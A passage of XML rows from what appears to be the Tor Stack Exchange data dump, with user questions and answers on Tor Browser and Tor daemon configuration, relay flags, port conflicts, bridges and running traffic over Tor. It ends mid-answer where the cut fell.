  <row Id="23904" PostTypeId="1" CreationDate="2023-12-14T19:45:17.490" Score="0" ViewCount="82" Body="&lt;p&gt;I have a MacBook. Pro and whenever I try to watch movies with my Tor browser it constantly buffers. Is there anything I can do to stop this?&lt;/p&gt;&#xA;" OwnerUserId="39305" LastEditorUserId="39457" LastEditDate="2024-01-28T14:06:21.530" LastActivityDate="2024-01-28T14:06:21.530" Title="Watch videos on updated MacBook Pro and latest Tor browser" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23905" PostTypeId="2" ParentId="23904" CreationDate="2023-12-15T19:09:23.590" Score="0" Body="&lt;p&gt;It's fine: many exit nodes are busy and do not have that much speed, so you should either restart your Tor browser to re-connect to tor network and maybe you will have a new exit node. If you're using Tor control protocol - try sending SIGNAL NEWNYM to Tor to change the exit point. That's all you can do - there's no way to alter the exit node's speed&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-15T19:09:23.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23906" PostTypeId="1" AcceptedAnswerId="23907" CreationDate="2023-12-16T10:18:56.990" Score="0" ViewCount="24" Body="&lt;p&gt;This starts up Tor correctly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor /usr/sbin/tor --runasdaemon 0 -f /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I try the same from supervisord&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[program:tor]&#xA;&#xA;command=/usr/sbin/tor --runasdaemon 0 -f /etc/tor/torrc&#xA;&#xA;user=debian-tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it fails with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 16 11:00:06.977 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;&#xA;Dec 16 11:00:06.979 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;&#xA;Dec 16 11:00:06.979 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9050&#xA;&#xA;Dec 16 11:00:06.979 [warn] Directory /root/.tor cannot be read: Permission denied&#xA;&#xA;Dec 16 11:00:06.979 [notice] Closing partially-constructed Socks listener connection (ready) on 127.0.0.1:9050&#xA;&#xA;Dec 16 11:00:06.979 [warn] Failed to parse/validate config: Couldn't create private data directory &amp;quot;/root/.tor&amp;quot;&#xA;&#xA;Dec 16 11:00:06.979 [err] Reading config failed--see warnings above.&#xA;&#xA;Tor version 0.4.7.16.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;No idea why it looks for &lt;code&gt;/root/.tor&lt;/code&gt; in this case, anyway I did&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo mkdir -p /root/.tor&#xA;&#xA;sudo chown debian-tor /root/.tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but same error.&lt;/p&gt;&#xA;" OwnerUserId="39307" LastActivityDate="2023-12-16T19:25:05.703" Title="Tor fails looking for /root/.tor" Tags="|configuration|onion-services|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23907" PostTypeId="2" ParentId="23906" CreationDate="2023-12-16T19:25:05.703" Score="0" Body="&lt;p&gt;It's about the $HOME environment variable that still points to the /root folder and of course it's not writable or readable by other users. To avoid that set Data directory &lt;strong&gt;and&lt;/strong&gt; the user in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; config and simply launch it as root: it will drop itself to the user you've set in config ASAP after opening the port listeners, so it's safe and secure. In your case it's a wrong place to drop the privileges in your supervisord service config&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-16T19:25:05.703" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23908" PostTypeId="1" CreationDate="2023-12-17T02:50:03.313" Score="0" ViewCount="34" Body="&lt;p&gt;Continuing the discussion from &lt;a href=&quot;https://forum.torproject.org/t/tor-relays-relay-mightywang-consensus-issues-and-loss-of-stable-flag/282&quot; rel=&quot;nofollow noreferrer&quot;&gt;[tor-relays] Relay MIGHTYWANG consensus issues and loss of STABLE flag&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/leUdK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/leUdK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;[quote=&amp;quot;Mighty_Wang, post:1, topic:282&amp;quot;]&#xA;So next I checked the consensus and I see that around half of the directory authorities seem to be not assigning the stable flag. See attached screenshot showing current consensus.&#xA;[/quote]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DxOgN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxOgN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I check this precise info about my middle relays:&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/0C4D7C61271C32DFBD0DF4A0296E4CE1BA2E952A&quot; rel=&quot;nofollow noreferrer&quot;&gt;0C4D7C61271C32DFBD0DF4A0296E4CE1BA2E952A&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/6AE0E65677643B9DB60390AAC0AF544114825FD4&quot; rel=&quot;nofollow noreferrer&quot;&gt;6AE0E65677643B9DB60390AAC0AF544114825FD4&lt;/a&gt;  ?&lt;/p&gt;&#xA;&lt;p&gt;Also here, in &lt;a href=&quot;https://forum.torproject.org/t/tor-relays-loss-of-stable-flag/662&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt; the relay operator writes about a possibility of checking the info about which directory authority assigned which flag to the specific tor relay.&#xA;[quote=&amp;quot;tor-relays, post:3, topic:662&amp;quot;]&#xA;The DAs which are witholding the flag are tor26, gabelmoo, dannenberg, maatuska and bastet.&#xA;[/quote]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vrq4g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrq4g.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How would I check this information ??&lt;/p&gt;&#xA;&lt;h2&gt;How to check which directory authorities assign/withhold which flags to my relays?&lt;/h2&gt;&#xA;" OwnerUserId="33845" LastActivityDate="2024-01-05T17:08:46.893" Title="How to check which directory authorities assign/withhold which flags to my relays" Tags="|configuration|relays|directory|connection|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23909" PostTypeId="1" CreationDate="2023-12-18T18:05:36.623" Score="1" ViewCount="136" Body="&lt;p&gt;&lt;code&gt;privacy.resistFingerprinting.letterboxing.dimensions&lt;/code&gt; doesn't do anything or I don't know how to type the command correctly.&lt;/p&gt;&#xA;" OwnerUserId="39318" LastEditorUserId="5445" LastEditDate="2024-01-27T14:11:35.403" LastActivityDate="2024-01-27T14:11:35.403" Title="How do I change Firefox letterbox size?" Tags="|customization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23910" PostTypeId="2" ParentId="23209" CreationDate="2023-12-18T19:36:44.160" Score="0" Body="&lt;p&gt;Adding my silly struggle here. I'm on Linux fyi.&lt;/p&gt;&#xA;&lt;h2&gt;Installation: Torbrowser-Launcher&lt;/h2&gt;&#xA;&lt;p&gt;I modified &lt;code&gt;/etc/tor/torrc&lt;/code&gt; which does not work for Tor browser. That file is intended for the Tor service that you start manually in the terminal I presume.&lt;/p&gt;&#xA;&lt;p&gt;Modifying &lt;code&gt;$HOME/.local/share/torbrowser/tbb/x86_64/tor-browser/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; had no effect for me.&lt;/p&gt;&#xA;&lt;p&gt;What worked was modifying &lt;code&gt;$HOME/.local/share/torbrowser/tbb/x86_64/tor-browser/Browser/TorBrowser/Data/Tor/torrc-defaults&lt;/code&gt;,&lt;br /&gt;&#xA;by adding &lt;code&gt;ExitNodes {us} StrictNodes 1&lt;/code&gt; at the bottom,&lt;br /&gt;&#xA;save file, restart Tor browser.&lt;/p&gt;&#xA;&lt;h2&gt;Installation: From website zip&lt;/h2&gt;&#xA;&lt;p&gt;(edit: 05-04-2024)&lt;/p&gt;&#xA;&lt;p&gt;Surprisingly, installing from zip, the strategy above didn't work, rather it works like it should. I guess they fixed it.&lt;/p&gt;&#xA;&lt;p&gt;Now, forget about &lt;code&gt;torrc-defaults&lt;/code&gt;, and just work with &lt;code&gt;torrc&lt;/code&gt; in (different) directory &lt;code&gt;$HOME/.local/share/torbrowser/Browser/TorBrowser/Data/Tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="39317" LastEditorUserId="39317" LastEditDate="2024-04-05T15:27:46.577" LastActivityDate="2024-04-05T15:27:46.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23911" PostTypeId="2" ParentId="23909" CreationDate="2023-12-19T15:42:51.697" Score="1" Body="&lt;p&gt;It's hardcoded into it to make all it's users look alike to each other to enharden detection. You need a virtual machine routed through Tor with a normal browser to browse as usual&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-19T15:42:51.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23913" PostTypeId="1" CreationDate="2023-12-24T11:06:58.043" Score="0" ViewCount="115" Body="&lt;p&gt;I'm encountering an issue with the Tor Browser on my Mac. Every time I try to connect, I receive the following error message:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;SETCONF DisableNetwork=0 -&amp;gt; 553 Unable to set option: Failed to bind one of the listener ports.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've checked my hosts file and it seems standard, with no specific entries that should affect the Tor Browser. Here's the content for reference:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1 localhost&#xA;255.255.255.255 broadcasthost&#xA;::1 localhost&#xA;... [other standard entries] ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally, here's the relevant content from my &lt;code&gt;torrc&lt;/code&gt; file, with sensitive information omitted for security:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ClientOnionAuthDir /Users/[username]/Library/Application Support/TorBrowser-Data/Tor/onion-auth&#xA;DataDirectory /Users/[username]/Library/Application Support/TorBrowser-Data/Tor&#xA;GeoIPFile /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip&#xA;GeoIPv6File /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried the following steps without any success:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checking if the required ports are in use using &lt;code&gt;lsof -i :9051&lt;/code&gt; and &lt;code&gt;lsof -i :9050&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Ensuring Tor Browser is allowed through the firewall on Mac.&lt;/li&gt;&#xA;&lt;li&gt;Tried using Bridge with &amp;quot;Automatic&amp;quot; mode and selecting my country.&lt;/li&gt;&#xA;&lt;li&gt;Tried disabling Wi-Fi and re-installing the Tor browser.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I'm looking for guidance on what might be causing this issue and how to resolve it. Any suggestions or troubleshooting tips would be greatly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6HSuq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6HSuq.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34189" LastActivityDate="2024-01-05T14:11:41.103" Title="Tor Browser on Mac: Error &quot;553 Unable to set option: Failed to bind one of the listener ports&quot;" Tags="|tor-browser-bundle|configuration|network-configuration|tor-install|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23914" PostTypeId="1" CreationDate="2023-12-26T10:39:30.627" Score="1" ViewCount="100" Body="&lt;p&gt;I noticed Google doesn’t accept  search requests from tor anymore. Any way around it?&#xA;Do old versions of tor still work?&lt;/p&gt;&#xA;" OwnerUserId="39256" LastActivityDate="2024-01-15T16:53:13.063" Title="Google not accepting tor requests" Tags="|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23915" PostTypeId="2" ParentId="23914" CreationDate="2023-12-26T15:58:57.957" Score="1" Body="&lt;p&gt;It's not Tor version problem - it's not just Google's brain problem, sadly... Under the banner of &amp;quot;fighting spam and hacking activities&amp;quot; it's actually a :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User tracking enforcement in form of intrusion(you can't use it without it's tracking scripts either)&lt;/li&gt;&#xA;&lt;li&gt;An attempt to conform to all the censorship regulations possible&lt;/li&gt;&#xA;&lt;li&gt;A direct sign of technical skill degradation of the maintenance team&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Yes, it's correct to reject Tor exit point's request on the clearnet sites &lt;strong&gt;when you have corresponding dot-onion addresses for all of them&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So - no Tor version changes will help it. Maybe an exit node was (ab)used for some bad activities, maybe they're just blocking it for being an exit node.&lt;/p&gt;&#xA;&lt;p&gt;To change this order of things people have to rise up as many nodes with exit capabilities as possible, so the blocklist will be too big to be applied even using hardware firewalls(like ~100k addresses)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-26T15:58:57.957" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23916" PostTypeId="2" ParentId="4284" CreationDate="2023-12-29T05:34:05.410" Score="0" Body="&lt;p&gt;Set &lt;code&gt;security.nocertdb&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; in &lt;code&gt;about:config&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Restart Tor Browser&lt;/p&gt;&#xA;" OwnerUserId="39358" LastActivityDate="2023-12-29T05:34:05.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23917" PostTypeId="1" CreationDate="2023-12-29T16:56:29.100" Score="0" ViewCount="34" Body="&lt;p&gt;I am developing a tiny tor client and I need a project that is up-to-date and can browse v3 onion domains; to make it example of my own development. There are some, but almost all of them are outdated and don't support v3 onion domains. I found &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/arti&quot; rel=&quot;nofollow noreferrer&quot;&gt;arti&lt;/a&gt; but I don't know Rust. Is there any up-to-date projects besides &lt;code&gt;arti&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;P.S. The main &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor&lt;/a&gt; project is so massive that I don't even want to open it honestly.&lt;/p&gt;&#xA;" OwnerUserId="39359" LastActivityDate="2024-01-05T14:21:21.647" Title="v3 compatible Tor client" Tags="|onion-services|implementations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23918" PostTypeId="1" CreationDate="2024-01-03T06:49:23.420" Score="0" ViewCount="24" Body="&lt;p&gt;I found &lt;a href=&quot;https://support.torproject.org/apt/apt-over-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can I use APT over Tor?&lt;/a&gt; (Debian and Ubuntu).&lt;/p&gt;&#xA;&lt;p&gt;I wish to use &lt;a href=&quot;https://github.com/homebrew&quot; rel=&quot;nofollow noreferrer&quot;&gt;Homebrew&lt;/a&gt; over Tor and didn't find any info with a web search.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The missing package manager for macOS (or Linux).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why do i come to the question. I use a VPN which is friendly towards Torrent users. Many sites block my VPN endpoints and therefore I can't install all the software. Most of the time, however, the sites are still accessible via Tor, i.e. only blocked for my VPN provider.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastEditorUserId="14832" LastEditDate="2024-01-03T07:11:37.880" LastActivityDate="2024-01-05T13:57:36.963" Title="Can I use Homebrew (macOS package manager) over Tor?" Tags="|mac|packages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23919" PostTypeId="1" CreationDate="2024-01-03T10:45:16.633" Score="1" ViewCount="119" Body="&lt;p&gt;Imagine a group of people with generally low/medium tech literacy. They have some ability to tech-support each other. Is there a simple-ish way for them to video chat with each other over tor?&lt;/p&gt;&#xA;&lt;p&gt;I found this old answer but I don't know if it's still current, and since it didn't explain the steps I'm unsure if it would qualify as simple enough &lt;a href=&quot;https://tor.stackexchange.com/questions/3362/video-chat-with-tor&quot;&gt;Video Chat with Tor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The group members can be assumed to be able to install and use tor browser on a laptop/equivalent on a phone, or do something of similar complexity, but not much more.&lt;/p&gt;&#xA;&lt;p&gt;There can be assumed to be one person able to set up e.g. a server, so some complexity could maybe be offloaded to that server/person.&lt;/p&gt;&#xA;&lt;p&gt;The main blockers seem to be:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor browser doesn't allow camera nor mic access for websites (without extra configuration). I guess this is a big one.&lt;/li&gt;&#xA;&lt;li&gt;Tor browser seems to block webrtc, which both jitsi and bigbluebutton seem to depend on.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And for what it's worth, is there ANY way to video chat over tor?&lt;/p&gt;&#xA;" OwnerUserId="39369" LastActivityDate="2024-01-04T20:34:42.047" Title="Is there a simple way to video chat over tor?" Tags="|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23920" PostTypeId="1" CreationDate="2024-01-04T15:44:30.677" Score="0" ViewCount="35" Body="&lt;p&gt;I'm seeking guidance on how to disable or limit the Tor functionality within the Brave browser on my macOS system. While I appreciate the privacy aspects that Tor integration provides, I have specific requirements that necessitate disabling this feature.&lt;/p&gt;&#xA;&lt;p&gt;I maintain a list of forbidden websites blocked by my host files, using &lt;a href=&quot;https://github.com/StevenBlack/hosts&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/StevenBlack/hosts&lt;/a&gt; as a reference. This method works for regular Brave or other browsers, such as Chrome. Unfortunately, it does &lt;strong&gt;not&lt;/strong&gt; work for Brave when using Tor in private windows.&lt;/p&gt;&#xA;&lt;p&gt;My objective is to enforce these restrictions on the Tor browser. If that's not possible, I would like to entirely disable or remove the Tor functionality from Brave. Alternatively, hiding or disabling the option in the browser interface, or at least the keyboard shortcut, would be sufficient.&lt;/p&gt;&#xA;&lt;p&gt;I have attempted the following. There is this path on my macOS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/Users/pedro/Library/Application Support/BraveSoftware/Brave-Browser/tor/data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried fiddling with the &lt;code&gt;torrc&lt;/code&gt; file and added:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress *.twitter.com 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, this does &lt;strong&gt;not&lt;/strong&gt; work. I can still access twitter on Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;What do you suggest?&lt;/p&gt;&#xA;" OwnerUserId="39323" LastActivityDate="2024-01-05T14:13:45.573" Title="Disabling or Limiting Tor Functionality in Brave Browser on macOS" Tags="|configuration|mac|brave|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23921" PostTypeId="2" ParentId="23919" CreationDate="2024-01-04T20:34:42.047" Score="0" Body="&lt;p&gt;First of all, you don't need a Tor browser to use browsing functionality over Tor. However - the user-unfriendly limitations in it &lt;strong&gt;do have it's uses&lt;/strong&gt; for exact the target group of people you're mentioning - not tech experts. To do it securely you need a tech expert to help you to make a proper setup - I strongly recommend using virtualization. Either it will be a VirtualBox, or it will be QubesOS(more complex but a way more safer) - but you must use a proper insulation. Then you can utilize a regular browser routed through Tor and &lt;strong&gt;only through it&lt;/strong&gt;, so no leaks will be taking place. The answer you've mentioned is just one of many possible solutions, but - generally - you need some software to make a virtual network among this group to make things run easily. After that you can use any video chat &lt;em&gt;inside that virtual private network&lt;/em&gt; routed through Tor but &lt;strong&gt;also&lt;/strong&gt; with a proper insulation on the user's computers. Find a skilled tech counselor to help you make the setup&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-04T20:34:42.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23922" PostTypeId="1" AcceptedAnswerId="23923" CreationDate="2024-01-04T21:09:18.097" Score="0" ViewCount="66" Body="&lt;p&gt;It's possible to use a bridge on Tor to hide the fact that you are using Tor.  Is it also possible to have a bridge on your .onion site to hide the fact that you are hosting one?  If so, how can this be done using Tor on Linux?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33505" LastActivityDate="2024-01-05T13:53:34.377" Title="Bridge for Onion site" Tags="|onion-services|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23923" PostTypeId="2" ParentId="23922" CreationDate="2024-01-05T13:53:34.377" Score="1" Body="&lt;p&gt;One by one:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;No, you can't&lt;/strong&gt; hide the fact that you're &lt;strong&gt;using&lt;/strong&gt; Tor, because when you're using an &lt;em&gt;Exit node&lt;/em&gt; to reach a clearnet/internet site the address of the exit node is exposed and these addresses are few nowdays, sadly - so they are enumerated and often marked as an exit node by the reverse DNS lookup&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Yes, you can&lt;/strong&gt; hide the fact that you're &lt;strong&gt;trying to connect&lt;/strong&gt; to Tor by using pluggable transport with bridges - that's what the pluggable transports are made for! Try using OBFS transports, especially the last one. Using just pure bridges is still detectable by DPI, but can help you as well in some cases&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Yes, you can&lt;/strong&gt; use bridges for &lt;strong&gt;any role/purpose&lt;/strong&gt; of the tor node, i.e. not just for a client, but also for the node that is hosting a hidden service - there's no limits at all for that!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T13:53:34.377" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23924" PostTypeId="2" ParentId="23918" CreationDate="2024-01-05T13:57:36.963" Score="1" Body="&lt;p&gt;Sure you can! To make things as simple as possible - use a box like raspberry pi or similar to make it a tor-gateway: it can route &lt;strong&gt;all&lt;/strong&gt; the traffic through the tor instance installed on it, so all your package managers e.t.c. will be just using Tor natively without ever knowing it! One remark here: if you'll have to reach the dot-onion addresses at the same time - do not forget to point your client's(macOS) DNS address to the raspberry pi routing box's IP where &lt;code&gt;DNSPort&lt;/code&gt; from tor will be listening - it's a common issue that everything goes fine from DHCP but because of the client-side problem it's a DNS issue&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T13:57:36.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23925" PostTypeId="2" ParentId="20780" CreationDate="2024-01-05T14:06:25.773" Score="0" Body="&lt;p&gt;First of all, you need to fix your clock - you have a severe warning in your logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/7/20, 18:26:09.640 [WARN] Our clock is 4 hours, 33 minutes behind the time published in the consensus network status document (2020-01-07 23:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's either your client PC is not using NTP - or you've got hit by ISP bogus NTP broadcasts, many cases of that in cell networks and wifi hotspots. To make a bulletproof defense from this attack vector - use a local hardware GPS receiver with PPS, quite a cheap ones to buy almost everywhere, like AliExpress.&lt;/p&gt;&#xA;&lt;p&gt;Also make sure that you have Tor network consensus actual: if you have this at home or a friendly place  drop a single raspberry pi or something like it to run Tor node 24/7/365 - you don't have to make it an exit! But you should, if you can ;) All you need is this node running with reachable ORPort and - it's a huge benefit - on a static IP address, but it's not lethal if you don't have it. The thing is that you're making it also a bridge for yourself even not configuring it as a bridge! It will provide you with the freshest and the widest network consensus data possible, so you will have a full connectivity to the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Only having these two things mended should you start to have a doubt that the site is not working - trust my experience, mending these two problems I've mentioned upstrings - revived some grave-like setups. It works and it's simple to do by hand&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T14:06:25.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23926" PostTypeId="2" ParentId="23913" CreationDate="2024-01-05T14:11:41.103" Score="0" Body="&lt;p&gt;This problem is a frequent one on Windows, so looks like on macOS too now. The system built-in service is &amp;quot;accidently&amp;quot; either blocks or occupies 9050 and 9051 ports - point them to 19050 and 19051. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T14:11:41.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23927" PostTypeId="2" ParentId="23920" CreationDate="2024-01-05T14:13:45.573" Score="1" Body="&lt;p&gt;As a Tor Browser, so the Brave with Tor - are combo-packs for an unskilled users. If you need a deep tweak - use an insulation and regular browser fully-routed through Tor - and on that level you can apply your blacklists&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T14:13:45.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23928" PostTypeId="2" ParentId="23917" CreationDate="2024-01-05T14:21:21.647" Score="0" Body="&lt;p&gt;Well, faking development is not a good idea :) The main Tor project is brilliant, actually - and it's quite an extendable one. You'll have to learn to code to make your development - so start from the main tor project without any doubts! Godspeed!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T14:21:21.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23929" PostTypeId="2" ParentId="4284" CreationDate="2024-01-05T17:01:54.673" Score="0" Body="&lt;p&gt;Well, this is a common problem - and not just Tor-related. Browser is &lt;strong&gt;not&lt;/strong&gt; responsible for storing your passwords at all! It's not designed to do it &lt;em&gt;properly and secure&lt;/em&gt;. Especially a privacy-related bundle like Tor Browser Bundle - it's better to be reset to the blank with every execution, actually - so it's a &lt;strong&gt;wrong&lt;/strong&gt; place to store your logins for sure! However - if you need this functionality - just use a Keepass XC manager with browser add-on! it's plugged architecture allows to implement even a complex and security-enhanced setups! And you know where your password db file is and you can make a backups for that one(it's encrypted - so it's ok to back it up as a file, basically). Use Keepass XC and it's add-on and store your passwords properly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T17:01:54.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23930" PostTypeId="2" ParentId="23908" CreationDate="2024-01-05T17:08:46.893" Score="0" Body="&lt;p&gt;You need to parse the consensus data, all the actions are digitally signed. What exact data/votes/actions is broadcasted - it was changing from time to time due to the protocol versions, but as far as I remember this data is broadcasted and it's even a python trigger can be used to analyze it via Stem library in nearly a real time.&lt;/p&gt;&#xA;&lt;p&gt;Update: forgot a link :) Happy new Year and Merry Christmas! &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/persisting_a_consensus.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/examples/persisting_a_consensus.html&lt;/a&gt;  and &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/compare_flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/tutorials/examples/compare_flags.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-01-05T17:08:46.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23931" PostTypeId="2" ParentId="11994" CreationDate="2024-01-08T04:32:22.040" Score="0" Body="&lt;p&gt;urther info: As said above, if you want to access pages on your local network via the Tor Browser you can't by default - why not, and why it isn't an option in the main configuration, is beyond me!&lt;/p&gt;&#xA;&lt;p&gt;How to Fix:&lt;/p&gt;&#xA;&lt;p&gt;Type in to the address bar &amp;quot;about:config&amp;quot; - ignore the quotes!&#xA;Type &amp;quot;network.proxy.no_proxies_on&amp;quot; in to the search bar.&#xA;Click on the pen icon and copy / paste the following in to the blank box: &amp;quot;localhost, 127.0.0.1, 192.168.0.0/24&amp;quot; - again without the quotes!&#xA;Hit Enter/Return Tor will be disabled for everything inside your local network but still work in the big, bad, world!&#xA;Note: 192.168.0.0/24 - will disable Tor assuming the local IP addresses assigned by your router are of the form 192.168.0.x If this is not the case you will need to swap this value for the one your router does provide, eg: If 192.168.1.x then 192.168.1.0/24, and so on. Do take care not to get cute and try to expand the range too much. Any address you 'disable' is disabled everywhere.&lt;/p&gt;&#xA;&lt;p&gt;P.S. As a point of security most/many routers assign LAN addresses in the form 192.168.0.x or 192.168.1.x The result is 'naughty' software looks for these 